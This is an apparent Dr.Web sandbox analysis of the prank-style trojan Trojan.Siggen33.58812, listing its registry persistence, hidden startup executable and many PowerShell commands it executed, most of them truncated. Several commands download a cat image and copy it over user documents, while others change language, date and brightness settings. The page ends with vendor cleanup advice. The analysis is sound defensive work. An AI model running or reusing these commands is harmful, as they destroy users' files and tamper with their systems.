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Dr.Web vxCube
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Trojan.Siggen33.58812

Aggiunto al database dei virus Dr.Web: 2026-08-29

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MsUpdate_r9z047' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msupdate_kzox8q.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Modifies file system
Creates the following files
  • %HOMEPATH%\desktop\i_am_a_cat.txt
  • %HOMEPATH%\desktop\if_i_fits_i_sits.txt
  • %HOMEPATH%\desktop\do_not_open.txt
  • %HOMEPATH%\desktop\pspspsps.txt
  • %HOMEPATH%\desktop\your_clippboard_is_mine.txt
  • %HOMEPATH%\desktop\nap_time.txt
  • %HOMEPATH%\desktop\meow_meow_meow.txt
  • %HOMEPATH%\desktop\cat_facts.txt
  • %HOMEPATH%\desktop\open_me.txt
  • %HOMEPATH%\desktop\hiss.txt
  • %HOMEPATH%\desktop\cat.exe.txt
Sets the 'hidden' attribute to the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Miscellaneous
Searches for the following windows
  • ClassName: 'Progman' WindowName: ''
  • ClassName: 'SHELLDLL_DefView' WindowName: ''
  • ClassName: 'SysListView32' WindowName: ''
Executes the following
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul
  • '<SYSTEM32>\cmd.exe' /c start https://www.reddit.com/r/cats
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul
  • '<SYSTEM32>\cmd.exe' /c start https://www.youtube.com/results?search_query=funny+cats
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul
  • '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\assembly
  • '<SYSTEM32>\cmd.exe' /k type %WINDIR%\win.ini
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul
  • '<SYSTEM32>\cmd.exe' /c start https://www.speedtest.net
  • '<SYSTEM32>\control.exe' keyboard
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing"
  • '<SYSTEM32>\cmd.exe' /k echo PSPSPSPSPSPSPSPSPSPS
  • '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Prefetch
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Destination $_.Full...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'; $b.BalloonTi...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Control Panel\Deskto...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n.Visible=$true;...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)"
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul
  • '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Fonts
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing the song of it...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()"
  • '<SYSTEM32>\control.exe' mouse
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'"
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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